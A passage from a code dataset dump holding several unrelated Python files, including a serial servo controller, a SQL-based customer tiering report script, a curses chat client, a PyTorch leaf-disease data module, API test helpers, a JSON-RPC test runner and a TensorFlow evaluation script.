= None\n\n def open_servo(self):\n self.modem = Serial(self.serial_port, self.baud_rate)\n time.sleep(0.1)\n\n def close_servo(self):\n time.sleep(0.1)\n self.modem.close()\n self.modem = None\n\n def setpos(self, angle):\n n = 0\n if angle > 180 or angle < 0: # check if input angle is in correct range\n angle = 90\n\n if angle > 90: # addressing the servo in the upper byte gives\n # angles between 90 and 180. see manual (Mini SSC II mode)\n angle -= 90\n n += 8\n msg = chr(0xFF) + chr(n) + chr(254 * angle / 180)\n self.modem.write(msg)\n\n def open_lid(self):\n self.open_servo()\n msg = chr(0xFF) + chr(0x08) + chr(254 * 150 / 180)\n self.modem.write(msg)\n time.sleep(0.2)\n self.modem.write(msg)\n self.close_servo()\n\n def close_lid(self):\n self.open_servo()\n msg = chr(0xFF) + chr(0) + chr(15)\n self.modem.write(msg)\n time.sleep(0.2)\n self.modem.write(msg)\n self.close_servo()\n\n# if __name__ == '__main__':\n#\n","sub_path":"arduino/archive/RESILIENTVIPER_v2/servo_controller.py","file_name":"servo_controller.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"108351457","text":"#coding=utf-8\n'''\nCreate on Apri 19,2016\n@author lijian\n生成rpt_prd_cust_yearend客户类别产品分析表\n'''\nimport datetime\nfrom settings import logger\nfrom common.pgcomm import PGUtils\nfrom common.sqlcomm import formatSql\nfrom common.log_db import insertlog\nfrom common.syscomm import SYS_LOG_TYPE_REPORT,SYS_LOG_RESULT_OK\n\ntblnames = ['edw.rpt_cust_prd_yearend_vertical']\n\n# 定义起始年份\nSTART_YEAR = '2012'\n\n# 查询报表表中的最大年份, 从该年份下一年开始统计\nsql_find_max_year = '''\nSELECT max(year_id) AS year_id from edw.rpt_cust_prd_yearend_vertical\n'''\n\n# 插入指定年份分层数据\ninsert_sql = '''\nINSERT INTO edw.rpt_cust_prd_yearend_vertical\n(\n year_id , -- 年\n cust_kind , -- 客户分类(0<存续资金<50客户人数(白银客户),50<=存续资金<100客户人数(象牙客户),100<=存续资金<300客户人数(黄金客户),300<=存续资金<600客户人数(铂金客户),存续资金>600客户人数(钻石客户))\n prd_kind, --产品类别\n cust_number, -- 客户人数\n cust_total_sales, -- 客户总资产\n cust_number_rate, -- 客户人数占比\n cust_sales_rate, -- 客户资产占比\n cust_total_number -- 客户总人数\n)\n(\nSELECT %s as year_id,x.member_style as cust_kind,x.prd_kind,x.number,x.cust_total_sales,\nROUND(x.number*100.00/total_num,2) as num_rate,\nROUND(x.cust_total_sales*100.0/total_sales,2) as sales_rate,total_num\nFROM \n(SELECT b.prd_kind_first||b.prd_kind_second as prd_kind , hydj.member_style,\nCOUNT(distinct b.member_no) as number,\nSUM(b.capital) as cust_total_sales \nFROM edw.cust_ht_info b \nLEFT OUTER JOIN \n(SELECT a.member_no,\n(CASE WHEN SUM(a.capital) >0 AND SUM(a.capital) <500000 THEN '1'\n WHEN SUM(a.capital) >=500000 AND SUM(a.capital) <1000000 THEN '2' \n WHEN SUM(a.capital) >=1000000 AND SUM(a.capital)<3000000 THEN '3' \n WHEN SUM(a.capital) >=3000000 AND SUM(a.capital) <6000000 THEN '4'\n WHEN SUM(a.capital) >=6000000 THEN '5' END) as member_style\nFROM edw.cust_ht_info a\nWHERE a.end_date>%s and start_date <=%s\nGROUP BY member_no) as hydj\nON b.member_no=hydj.member_no\nWHERE b.end_date>%s and start_date <=%s\nGROUP BY b.prd_kind_first||b.prd_kind_second,hydj.member_style\n) AS X\nLEFT OUTER JOIN \n(SELECT m.member_style,sum(cust_total_sales)as total_sales ,c.total_num\nfrom \n(\nSELECT b.prd_kind_first||b.prd_kind_second as prd_kind , hydj.member_style,\nCOUNT(distinct b.member_no)as number,\nSUM(b.capital) as cust_total_sales \nFROM edw.cust_ht_info b \nLEFT OUTER JOIN \n(SELECT a.member_no,\n(CASE WHEN SUM(a.capital) >0 AND SUM(a.capital) <500000 THEN '1'\n WHEN SUM(a.capital) >=500000 AND SUM(a.capital) <1000000 THEN '2' \n WHEN SUM(a.capital) >=1000000 AND SUM(a.capital)<3000000 THEN '3' \n WHEN SUM(a.capital) >=3000000 AND SUM(a.capital) <6000000 THEN '4'\n WHEN SUM(a.capital) >=6000000 THEN '5' END) as member_style\nFROM edw.cust_ht_info a\nWHERE a.end_date>%s and start_date <=%s\nGROUP BY member_no) as hydj\nON b.member_no=hydj.member_no\nWHERE b.end_date>%s and start_date <=%s\nGROUP BY b.prd_kind_first||b.prd_kind_second,hydj.member_style\n) as M\nLEFT OUTER JOIN \n(\nSELECT T.member_style,COUNT(*) as total_num\nFROM (\nSELECT a.member_no,\n(CASE WHEN SUM(a.capital) >0 AND SUM(a.capital) <500000 THEN '1'\n WHEN SUM(a.capital) >=500000 AND SUM(a.capital) <1000000 THEN '2' \n WHEN SUM(a.capital) >=1000000 AND SUM(a.capital)<3000000 THEN '3' \n WHEN SUM(a.capital) >=3000000 AND SUM(a.capital) <6000000 THEN '4'\n WHEN SUM(a.capital) >=6000000 THEN '5' END) as member_style\nFROM edw.cust_ht_info a\nWHERE a.end_date>%s and start_date <=%s\nGROUP BY member_no\n) T\nGROUP BY T.member_style\n) as C \nON c.member_style= m.member_style\nGROUP BY m.member_style,c.total_num\n)as L\nON L.member_style=x.member_style\n)\n'''\n\ndef get_year_section(conn, data_date):\n '''\n 获取本报表需要处理的年份范围\n '''\n year_now = int(data_date[0:4])\n with conn.cursor() as cur:\n # 查找报表表_客户资产余额中最大的年份\n logger.debug(formatSql(sql_find_max_year))\n cur.execute(formatSql(sql_find_max_year))\n rec = cur.fetchone()\n if rec and rec[0]:\n start_year = int(rec[0])\n else:\n start_year = int(START_YEAR)\n return (start_year, year_now)\n\n\ndef delete_cur_year(conn, year_id):\n '''\n 删除指定年份的数据\n '''\n d0 = datetime.datetime.now()\n with conn.cursor() as cur:\n sql = \"DELETE FROM edw.rpt_cust_prd_yearend_vertical WHERE year_id=%s\"\n logger.debug(sql)\n logger.debug(\"... param value: \" + year_id)\n cur.execute(sql, [year_id])\n d1 = datetime.datetime.now()\n logger.info(\"删除数据(edw.rpt_cust_prd_yearend_vertical) 完成. 耗时: %s 秒. year_id=%s\" % ((d1-d0).seconds, year_id))\n \n\ndef insert_cust_level(conn, year_id, yearLastDate):\n '''\n 插入每年客户分层情况\n '''\n with conn.cursor() as cur:\n logger.debug(formatSql(insert_sql))\n logger.debug(\"... param value: \" + str((year_id, yearLastDate,yearLastDate,yearLastDate,yearLastDate,yearLastDate,yearLastDate,yearLastDate,yearLastDate,yearLastDate,yearLastDate,)))\n cur.execute(formatSql(insert_sql), (year_id, yearLastDate,yearLastDate,yearLastDate,yearLastDate,yearLastDate,yearLastDate,yearLastDate,yearLastDate,yearLastDate,yearLastDate,))\n\ndef deal(sys_date, batch_id, data_date):\n '''\n rpt_prd_cust_yearend统计\n '''\n d0 = datetime.datetime.now()\n logger.info('start... 年客户分层统计')\n yearLastDate='20121231'\n pgUtils = PGUtils()\n conn = pgUtils.getConnection()\n try:\n with conn:\n (start_year, end_year) = get_year_section(conn, data_date)\n logger.info(\"处理范围\"+str((start_year, end_year)))\n for year in range(int(start_year), int(end_year)+1):\n # 删除当前年的数据\n if(str(year)==data_date[0:4]):\n yearLastDate=data_date\n else:\n yearLastDate=str(year)+\"1231\" \n delete_cur_year(conn, str(year))\n insert_cust_level(conn, str(year),yearLastDate)\n d1 = datetime.datetime.now()\n log_content = \"rpt_cust_prd_yearend统计处理完成.\"\n insertlog(conn, sys_date, batch_id, SYS_LOG_TYPE_REPORT, SYS_LOG_RESULT_OK, log_content, d0, d1, (d1-d0).seconds)\n logger.info(\"end... rpt_cust_prd_yearend统计处理完成. 耗时: %s 秒. \" % (d1-d0).seconds)\n finally:\n conn.close()\n return True\n\nif __name__ == '__main__':\n deal('20160401','20160401','20160401')","sub_path":"etl/datadeal/scripts/rptyear/rpt_cust_prd_yearend.py","file_name":"rpt_cust_prd_yearend.py","file_ext":"py","file_size_in_byte":6634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"226303024","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\na = np.load(\"ONE.npy\")\n# b = np.sqrt(np.load(\"Test.npy\")-1)\n# x = [1,2,5,10,20,50]\nprint(a)\nplt.plot(a)\n# plt.plot(x,np.flip(b))\n# plt.gca().invert_xaxis()\nplt.grid()\nplt.xlabel(\"Number of Features\")\nplt.ylabel(\"Error\")\nplt.title(\"Features vs L1\")\nplt.show()\n# plt.savefig(\"L1.png\")\n","sub_path":"hw4/coverup.py","file_name":"coverup.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"372174774","text":"import curses\nimport json\n\nfrom select import select\n\nclass Ui:\n def __init__(self, socket, nick):\n self.prompt = \"> \"\n self.fmt = \"{nick} - {msg}\"\n self.socket = socket\n self.nick = nick\n\n stdscr = curses.initscr()\n lines, columns = stdscr.getmaxyx()\n\n self.winput = curses.newwin(1, columns, lines - 1, 0)\n self.wmsg = curses.newwin(lines - 1, columns, 0, 0)\n\n self.winput.nodelay(True)\n self.wmsg.scrollok(True)\n\n curses.noecho()\n curses.cbreak()\n\n self.winput.addstr(self.prompt)\n\n def __print__(self, data):\n data = json.loads(data)\n self.wmsg.addstr(self.fmt.format(**data))\n self.wmsg.addstr(\"\\n\")\n self.wmsg.refresh()\n\n def do_msg(self):\n while 1:\n readable, _, _ = select([self.socket], [], [], 0)\n if readable:\n data = self.socket.recv(4096)\n self.__print__(data)\n\n def __mkdata__(self, msg):\n data = json.dumps({\"nick\": self.nick, \"msg\": msg})\n return bytes(data, \"utf-8\")\n\n def do_input(self, inp):\n\n self.can_send = False\n cury, curx = self.winput.getyx()\n ch = self.winput.getch()\n if ch != curses.ERR:\n\n if ch == ord(\"\\n\"):\n if not inp:\n return 1\n data = self.__mkdata__(inp)\n self.__print__(data)\n self.winput.clear()\n self.winput.addstr(self.prompt)\n self.winput.refresh()\n inp = \"\"\n self.can_send = True\n\n elif ch in [curses.KEY_BACKSPACE, ord(\"\\b\"), ord(\"\\x7f\")]:\n self.winput.delch(0, curx - 1)\n inp = inp[:-1]\n\n else:\n self.winput.addch(ch)\n self.winput.refresh()\n inp += chr(ch)\n\n return inp\n\n def kill(self):\n curses.endwin()\n","sub_path":"chatserver/client/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":1953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"268362056","text":"# IMPORTS\nimport pytorch_lightning as pl\nimport torchvision\nimport torch as th\nfrom torchvision import transforms\nfrom torch.utils.data import DataLoader, Dataset\nimport os\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom PIL import Image\n\nfrom .config import Config\n\n# CONSTANTS AND VARIABLES\n\nclass LeafDataset(Dataset):\n def __init__(self, data_dir:str, df:pd.DataFrame, transform=None, task='train'):\n super(LeafDataset, self).__init__()\n self.data_dir = data_dir\n self.imgs_list = os.listdir(self.data_dir)\n self.transform = transform\n self.df = df\n self.task = task\n \n \n def __len__(self):\n return len(self.df)\n \n def __getitem__(self, index):\n try:\n # get image name or image id from the given dataframe\n img_id = self.df.iloc[index].image_id\n except:\n # get image from data dir\n img_id = self.imgs_list[index]\n \n \n # load image as array and make it tensor\n img_array = Image.open(os.path.join(self.data_dir, img_id))\n \n # swap image shape in order to have channels first\n # normalizing image pixel values to be btw [0, 1]\n img_array = np.array(img_array).transpose(2, 0, 1) / 255.\n \n # convert array to float tensor\n img_t = th.from_numpy(img_array).float()\n \n if self.transform is not None:\n img_t = self.transform(img_t) \n \n sample = {\n 'img': img_t,\n }\n \n if self.task == 'train':\n # add targets to sample\n target = self.df.iloc[index].label\n\n sample.update({\n 'targets': th.tensor(target, dtype=th.long)\n })\n \n \n \n \n return sample\n \n \nclass DataModule(pl.LightningDataModule):\n\n def __init__(self, config: Config, \n train_data_dir:str, \n test_data_dir:str, \n train_df:pd.DataFrame,\n data_transform:dict,\n validation_split=.1,\n test_df:pd.DataFrame = None,\n train_frac = 1):\n\n super(DataModule, self).__init__()\n self.train_batch_size = config.train_batch_size\n self.test_batch_size = config.test_batch_size\n self.train_data_dir = config.train_data_dir\n self.test_data_dir = config.test_data_dir\n self.train_df = train_df \n self.test_df = test_df \n self.data_transform = data_transform\n self.validation_split = validation_split\n self.train_frac = train_frac\n self.num_workers = config.num_workers\n \n def setup(self, stage=None):\n \n if self.train_frac > 0 and self.train_frac < 1 :\n self.train_df = self.train_df.sample(frac=self.train_frac).reset_index(drop=True)\n train, val = train_test_split(self.train_df, \n test_size=self.validation_split, \n random_state=Config.seed_val)\n else:\n train, val = train_test_split(self.train_df, \n test_size=self.validation_split, \n random_state=Config.seed_val)\n \n self.train_ds = LeafDataset(data_dir=self.train_data_dir,\n df=train, \n transform=None,#self.data_transform['train'], \n task='train')\n\n self.val_ds = LeafDataset(data_dir=self.train_data_dir, \n df=val, \n transform=None,#self.data_transform['validation'], \n task='train')\n\n print(f'[INFO] Training on {len(self.train_ds)}')\n print(f'[INFO] Validating on {len(self.val_ds)}')\n\n def train_dataloader(self):\n return DataLoader(\n self.train_ds,\n batch_size=self.train_batch_size,\n num_workers=self.num_workers\n )\n\n def val_dataloader(self):\n return DataLoader(\n self.val_ds,\n batch_size=self.test_batch_size,\n num_workers=self.num_workers\n )","sub_path":"projects/cassava-leaf-disease/code/src/.ipynb_checkpoints/dataset-checkpoint.py","file_name":"dataset-checkpoint.py","file_ext":"py","file_size_in_byte":4406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"473046706","text":"# _*_coding:utf-8_*_\n\nimport requests\nimport json\n\nfrom public import params\nfrom public import excel\n\ndomain = params.testdomain\nport = params.testport\nheaders = {\n 'Content-Tpye': 'application/json;charset=utf-8'\n }\n\n\ndef repairbill_create():\n u'''创建维修单'''\n interfaceurl = 'http://' + domain + ':' + port + '/ime-container/imeRepairBill/save.action'\n data = {\n \"mdEquipmentGid\": excel.excel_find('EquipmentGid'),\n \"mdEquipmentGidRef\": {\"name\": \"设备1\", \"spec\": \"\", \"model\": \"autotest\", \"code\": \"autotest1\"},\n \"imeRepairBillDetailList\": [\n {\n \"eventPayload\": {},\n \"repairDuration\": \"8h\",\n \"errorDescription\": \"故障描述\",\n \"errorType\": \"mechanical_error\",\n \"errorLevel\": \"high\"\n }\n ]\n }\n rbcreq = requests.post(interfaceurl, headers=headers, data=json.dumps(data)).content.decode()\n rbgid = json.loads(rbcreq)['data']\n return rbgid\n\n\ndef repairbill_select(rbgid):\n u'''查询维修单详情'''\n interfaceurl = 'http://' + domain + ':' + port + '/ime-container/imeRepairBill/findById.action?gid=' + rbgid\n rbsreq = requests.get(interfaceurl, headers=headers).content.decode()\n return rbsreq\n\n\ndef repairbill_find(key):\n u'''维修单高级查询'''\n interfaceurl = 'http://' + domain + ':' + port + '/ime-container/imeRepairBill/query.action'\n data = {\"query\":{\n \"query\":[\n {\"left\":\"(\",\"field\":\"code\",\"type\":\"like\",\"value\":key,\"operator\":\"or\"},\n {\"field\":\"mdEquipmentGidRef.code\",\"type\":\"like\",\"value\":key,\"operator\":\"or\"},\n {\"field\":\"mdEquipmentGidRef.name\",\"type\":\"like\",\"value\":key,\"operator\":\"or\"},\n {\"field\":\"mdEquipmentGidRef.spec\",\"type\":\"like\",\"value\":key,\"operator\":\"or\"},\n {\"field\":\"mdEquipmentGidRef.model\",\"type\":\"like\",\"value\":key,\"operator\":\"or\"},\n {\"field\":\"applyDepartmentName\",\"type\":\"like\",\"value\":key,\"operator\":\"or\"},\n {\"field\":\"applyPersonnelName\",\"type\":\"like\",\"value\":key,\"operator\":\"or\"},\n {\"right\":\")\",\"field\":\"status\",\"type\":\"like\",\"value\":key,\"operator\":\"and\"}\n ]},\n \"pager\":{\"page\":1,\"pageSize\":10}\n }\n rbfreq = requests.post(interfaceurl, headers=headers, data=json.dumps(data)).content.decode()\n return rbfreq\n\n\ndef repairbill_submit(rbgids):\n u'''提交维修单'''\n interfaceurl = 'http://' + domain + ':' + port + '/ime-container/imeRepairBill/batchApply.action'\n rbsureq = requests.post(interfaceurl, headers=headers, data=json.dumps(rbgids)).content.decode()\n return rbsureq\n\n\ndef repairbill_dispatch(rbgids):\n u'''维修单派工'''\n interfaceurl = 'http://' + domain + ':' + port + '/ime-container/imeRepairBill/assignRepair.action'\n data = {\n \"ids\": rbgids,\n \"repairPersonnelName\": \"接口自动化测试人员\",\n \"repairPersonnelGid\": excel.excel_find('PersonnelGid')}\n rbsureq = requests.post(interfaceurl, headers=headers, data=json.dumps(data)).content.decode()\n return rbsureq\n\n\ndef repairbill_saveorrecord(rbgid, action):\n u'''维修单报工/保存报工'''\n rbsreq = repairbill_select(rbgid)\n rbsjson = json.loads(rbsreq)['data']\n ecode = rbsjson['mdEquipmentGidRef']['code']\n ename = rbsjson['mdEquipmentGidRef']['name']\n emodel = rbsjson['mdEquipmentGidRef']['model']\n # espec = rbsjson['mdEquipmentGidRef']['spec']\n mdEquipmentGid = rbsjson['mdEquipmentGid']\n code = rbsjson['code']\n repairPersonnelGid = rbsjson['repairPersonnelGid']\n repairPersonnelName = rbsjson['repairPersonnelName']\n status = rbsjson['status']\n rbdrepairDuration = rbsjson['imeRepairBillDetailList'][0]['repairDuration']\n rbderrorType = rbsjson['imeRepairBillDetailList'][0]['errorType']\n rbdgid = rbsjson['imeRepairBillDetailList'][0]['gid']\n rbdcode = rbsjson['imeRepairBillDetailList'][0]['code']\n rbdimeRepairBillGid = rbsjson['imeRepairBillDetailList'][0]['imeRepairBillGid']\n rbderrorLevel = rbsjson['imeRepairBillDetailList'][0]['errorLevel']\n rbdrepairStatus = rbsjson['imeRepairBillDetailList'][0]['repairStatus']\n rbderrorDescription = rbsjson['imeRepairBillDetailList'][0]['errorDescription']\n data = {\n \"imeRepairBillSpareList\": [],\n \"gid\": rbgid,\n \"imeRepairBillDetailList\": [{\n \"repairDuration\": rbdrepairDuration,\n \"errorType\": rbderrorType,\n \"gid\": rbdgid,\n \"repairBeginTime\": \"2018-03-01 10:02:08\",\n \"code\": rbdcode,\n \"imeRepairBillGid\": rbdimeRepairBillGid,\n \"errorDescription\": rbderrorDescription,\n \"errorProcessingResult\": \"故障分析及内容\",\n \"repairEndTime\": \"2018-03-02 10:02:11\",\n \"errorLevel\": rbderrorLevel,\n \"repairStatus\": rbdrepairStatus\n }],\n \"mdEquipmentGidRef\": {\n \"code\": ecode,\n \"name\": ename,\n \"model\": emodel,\n # \"spec\": espec\n },\n \"mdEquipmentGid\": mdEquipmentGid,\n \"code\": code,\n \"repairPersonnelGid\": repairPersonnelGid,\n \"status\": status,\n \"repairPersonnelName\": repairPersonnelName\n }\n interfaceurl = ''\n if action == 'record':\n interfaceurl = 'http://' + domain + ':' + port + '/ime-container/imeRepairBill/report.action'\n elif action == 'save':\n interfaceurl = 'http://' + domain + ':' + port + '/ime-container/imeRepairBill/reportSave.action'\n rbrreq = requests.post(interfaceurl, headers=headers, data=json.dumps(data)).content.decode()\n return rbrreq\n","sub_path":"测试用例/接口自动化/接口自动化_V1/设备管理/维修单/repairbill_public.py","file_name":"repairbill_public.py","file_ext":"py","file_size_in_byte":5620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"463897576","text":"import json\nfrom jq import jq\nimport os\nimport sys\nimport jsonschema\nimport requests\n\n\n#fixResolver from https://github.com/Julian/jsonschema/issues/313#issuecomment-269361225\nclass fixResolver(jsonschema.RefResolver):\n def __init__( self, schema, schemaAbs ):\n jsonschema.RefResolver.__init__( self,\n base_uri = schemaAbs,\n referrer = None )\n self.store[ schemaAbs ] = schema\n\n\n\n\nclass MockReporter:\n\n def __init__(self):\n return\n\n def subresult(self, name, success, errormsg, details = None):\n print(\"mock reporter subresult:\", name, success, errormsg)\n return\n\n\n\n\ndef run_test(test_name, session, rpc_url, reporter):\n print(\"\\nrunning tests for method: {}\".format(test_name))\n test_filename = 'tests/' + test_name\n if os.path.isfile(test_filename) is False:\n print(\"ERROR: couldn't load test file: {}\".format(test_filename))\n raise Exception(\"ERROR: couldn't load tests file:\", test_filename)\n with open(test_filename) as test_data:\n test_spec = json.load(test_data)\n\n # chainConfig is not yet active (all current test cases use the same chainConfig)\n #chain_config_file = test_spec['chainConfig']['$ref']\n\n schema_file = test_spec['schema']['$ref']\n\n with open('tests/' + schema_file) as schema_data:\n rpc_method_schema = json.load(schema_data)\n\n for test_case in test_spec['tests']:\n print(\"running test: {}\".format(test_case['title']))\n schemaAbs = 'file://' + os.path.abspath('schemas/' + test_name)\n request_method = test_case['request']['method']\n request_params = test_case['request']['params']\n request_payload = { 'jsonrpc':'2.0',\n 'method':request_method,\n 'params':request_params,\n 'id':1 }\n\n expected_response = test_case['expectedResponse']\n\n # test_case['request'] and test_case['expectedResponse'] are validated\n # against the schemas in validate_tests.py\n\n try:\n print(\"sending rpc request: {}\".format(request_payload))\n received_response = session.post(rpc_url, json=request_payload, timeout=10)\n received_response_json = received_response.json()\n print(\"recieved_response: {}\".format(received_response_json))\n reporter.subresult(test_case['title'] + ' rpc request got response.', True, None, None)\n except Exception as e:\n err_msg = \"ERROR. json-rpc request failed: \" + str(e)\n print(err_msg)\n details = {\n 'rpc_request': test_case['request'],\n 'response_schema': rpc_method_schema['response']\n }\n reporter.subresult(test_case['title'], False, err_msg, details)\n received_response_json = {}\n #continue\n\n # got response, now validate response against schema\n try:\n jsonschema.validate(received_response_json,\n rpc_method_schema['response'],\n resolver=fixResolver(rpc_method_schema['response'], schemaAbs))\n print(\"rpc response schema validated.\")\n reporter.subresult(test_case['title'] + '. rpc received response schema valid', True, None, None)\n except Exception as e:\n err_msg = \"ERROR. couldn't validate rpc received response against schema.\"\n print(err_msg)\n print(\"exception: {}\".format(str(e)))\n details = {\n 'schemaException': str(e),\n 'received_response': received_response_json,\n 'response_schema': rpc_method_schema['response']\n }\n reporter.subresult(test_case['title'] + '. rpc received response schema valid', False, err_msg, details)\n\n # check received response against expected response, using jq assertions\n # jq comparators work on a single json object, so construct one\n assert_dict = { 'receivedResponse': received_response_json,\n 'expectedResponse': expected_response }\n details = assert_dict\n for assertion in test_case['asserts']:\n try:\n assertion_result = jq(assertion['program']).transform(assert_dict)\n except Exception as e:\n assertion_result = False\n details['assert_exception'] = str(e)\n details['assertion_program'] = assertion['program']\n print(\"{} : {}\".format(assertion['description'], assertion_result))\n if assertion_result == True:\n reporter.subresult(test_case['title'] + '. ' + assertion['description'] + '.', True, None, None)\n else:\n assert_dict['requestObject'] = test_case['request']\n reporter.subresult(test_case['title'] + '. ' + assertion['description'] + '.', False, \"assertion failed: \" + assertion['program'], details)\n\n\n\n\n\ndef main(args):\n client_rpc_url = \"http://127.0.0.1:8545\"\n sesh = requests.Session()\n\n mock_reporter = MockReporter()\n\n for test_name in TEST_NAMES:\n run_test(test_name, sesh, client_rpc_url, mock_reporter)\n\n print(\"all tests done.\")\n\n\n\nif __name__ == '__main__':\n main(sys.argv[1:])\n","sub_path":"rpc-specs-tests/test_rpc_methods.py","file_name":"test_rpc_methods.py","file_ext":"py","file_size_in_byte":5320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"600929396","text":"from __future__ import print_function\nfrom __future__ import division\n\n# Avoid printing tensorflow log messages\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL']='2'\n\nimport tensorflow as tf\nimport numpy as np\nimport time\nimport sys\nimport math\nimport pickle\n\nimport skip_gru_model \n\n\n#################################\n# Useful constant and paths\n#################################\nExpNum = int(sys.argv[1])\nrestore_epoch=int(sys.argv[2])\n\nprint('Evaluation at epoch ',restore_epoch)\n\nclass Configuration(object):\n\n\tlogfile= open('TrainingExperiment'+str(ExpNum)+'.txt','r')\n\tlines = logfile.readlines()\n\tparamlines = [line for line in lines if line.startswith('##')]\n\n\tfor params in paramlines:\n\n\t\tif 'learning rate' in params and 'update' not in params and 'decay' not in params:\n\t\t\tlearning_rate = float (params.split(':',1)[1].strip() )\n\t\t\tprint('learning_rate=',learning_rate)\n\t\t\n\n\t\tif 'optimizer' in params:\n\t\t\toptimizer_choice = params.split(':',1)[1].strip()\n\t\t\tprint('optimizer =',optimizer_choice)\n\n\t\tif 'batch size' in params:\n\t\t\tbatch_size=int(params.split(':',1)[1].strip())\n\t\t\tprint('batch size =',batch_size)\n\n\t\tif 'number of hidden layers' in params:\n\t\t\tnum_layers=int(params.split(':',1)[1].strip())\n\t\t\tprint('n hidden layers=',num_layers)\n\n\t\tif 'number of hidden units' in params:\n\t\t\tn_hidden=int(params.split(':',1)[1].strip())\n\t\t\tprint('n hidden =',n_hidden)\n\n\tslope_annealing_rate=0.005\n\tupdating_step=184\n\tlearning_decay=1.0\n\tkeep_prob=1.0\n\n\taudio_feat_dimension = 144\n\tnum_classes = 20\n\tnum_examples_val=165\n\n\ncheckpoints_dir='checkpoints/exp'+str(ExpNum)+'/'\n\n\ndef read_my_file_format(filename_queue,feat_dimension=123):\n\n reader = tf.TFRecordReader()\n\n key, serialized_example = reader.read(filename_queue)\n\n context_parsed, sequence_parsed = tf.parse_single_sequence_example(serialized_example,\n context_features={\"length\": tf.FixedLenFeature([],dtype=tf.int64)},\n sequence_features={\"audio_visual_feat\":tf.FixedLenSequenceFeature([feat_dimension],dtype=tf.float32),\n \"audio_labels\":tf.FixedLenSequenceFeature([],dtype=tf.float32)}\n )\n\n return context_parsed['length'],sequence_parsed['audio_visual_feat'],tf.to_int32(sequence_parsed['audio_labels'])\n\ndef input_pipeline_validation(filenames,config):\n\n filename_queue = tf.train.string_input_producer(filenames, num_epochs=1, shuffle=False)\n \n sequence_length, audio_features, audio_labels = read_my_file_format(filename_queue,feat_dimension=config.audio_feat_dimension)\n\n audio_features_batch, audio_labels_batch , seq_length_batch = tf.train.batch([audio_features, audio_labels, sequence_length],\n batch_size=1,\n num_threads=10,\n capacity=100,\n dynamic_pad=True,\n enqueue_many=False)\n\n return audio_features_batch, audio_labels_batch, seq_length_batch\n\n#################################\n# Training module\n#################################\n\ndef eval():\n\n\tconfig=Configuration()\n\n\t# list of input filenames + check existence\n\tfilename_val=['/home/local/IIT/rtavarone/Data/PreProcessEcomode/MultiModalData/HIGHDIM_FEAT/TEST/sequence_full_{:04d}.tfrecords'.format(i) \\\n\t\t\t\t\t for i in range(config.num_examples_val)]\n\tfor f in filename_val:\n\t\tif not tf.gfile.Exists(f):\n\t\t\traise ValueError('Failed to find file: ' + f)\n\t\t\t\n\n\twith tf.Graph().as_default():\n\n\t\t# extract batch examples\n\t\twith tf.device('/cpu:0'):\n\t\t\twith tf.name_scope('validation_batch'):\n\t\t\t\taudio_features_val, audio_labels_val, seq_length_val = input_pipeline_validation(filename_val,config)\n\n\t\twith tf.device('/cpu:0'):\n\t\t\twith tf.variable_scope('model'):\n\t\t\t\tprint('Building validation model:')\n\t\t\t\tval_model = skip_gru_model.Model(audio_features_val,audio_labels_val,seq_length_val,config,is_training=None)\n\t\t\t\tprint('done.')\n\n\t\t# variables initializer\n\t\tprint('Initializer creation')\n\t\tstart=time.time()\n\t\tinit_op = tf.local_variables_initializer()\n\t\tprint('creation time = ',time.time() - start)\n\t\tprint('Done')\n\t\t# save and restore all the variables.\n\t\tsaver = tf.train.Saver(max_to_keep=None)\n\n\t\t# start session\n\t\twith tf.Session(config=tf.ConfigProto(allow_soft_placement=True,\n\t\t\t\t\t\t\t\t\t\t\t log_device_placement=False)) as sess:\n\n\t\t\t# tensorboard writer\n\t\t\t#train_writer = tf.summary.FileWriter(tensorboard_dir,sess.graph)\n\n\t\t\t# run initializer\n\t\t\t\n\t\t\tsess.run(init_op)\n\t\t\tprint('Restoring variables...')\n\t\t\tsaver.restore(sess,checkpoints_dir+'model_epoch'+str(restore_epoch)+'.ckpt')\n\t\t\tprint('variables loaded from ',tf.train.latest_checkpoint(checkpoints_dir))\n\n\t\t\tcoord = tf.train.Coordinator()\n\t\t\tthreads = tf.train.start_queue_runners(sess = sess, coord = coord)\n\n\t\t\tprint('')\n\t\t\tprint('## EXPERIMENT NUMBER ',ExpNum)\n\t\t\tprint('## binary units : deterministic')\t\n\t\t\tprint('## optimizer : ',config.optimizer_choice)\n\t\t\tprint('## number of hidden layers : ',config.num_layers)\n\t\t\tprint('## number of hidden units : ',config.n_hidden)\n\t\t\tprint('## learning rate : ',config.learning_rate)\n\t\t\tprint('## learning rate update steps: ',config.updating_step)\n\t\t\tprint('## learning rate decay : ',config.learning_decay)\n\t\t\tprint('## slope_annealing_rate : ',config.slope_annealing_rate)\t\n\t\t\tprint('## dropout keep prob (no dropout if 1.0) :',config.keep_prob)\t\n\t\t\tprint('## batch size : ',config.batch_size)\t\t\n\t\t\tprint('')\n\n\t\t\ttry:\n\t\t\t\t\n\t\t\t\taccuracy=0.0\n\t\t\t\tlayer_average= 0.0\n\t\t\t\tsentence=0\n\n\t\t\t\twhile not coord.should_stop():\n\n\t\t\t\t\tprint('Evaluation on sentence {}'.format(sentence))\n\n\t\t\t\t\texample_accuracy , val_label , val_prediction,\\\n\t\t\t\t\tgates , activations = sess.run([val_model.accuracy,\n\t\t\t\t\t\t\t\t\t\t\t\tval_model.labels,\n\t\t\t\t\t\t\t\t\t\t\t\tval_model.prediction,\n\t\t\t\t\t\t\t\t\t\t\t\tval_model.binary_states_fw,\n\t\t\t\t\t\t\t\t\t\t\t\tval_model.activations_norm_fw])\n\n\t\t\t\t\taccuracy += example_accuracy\n\t\t\t\t\tgates = 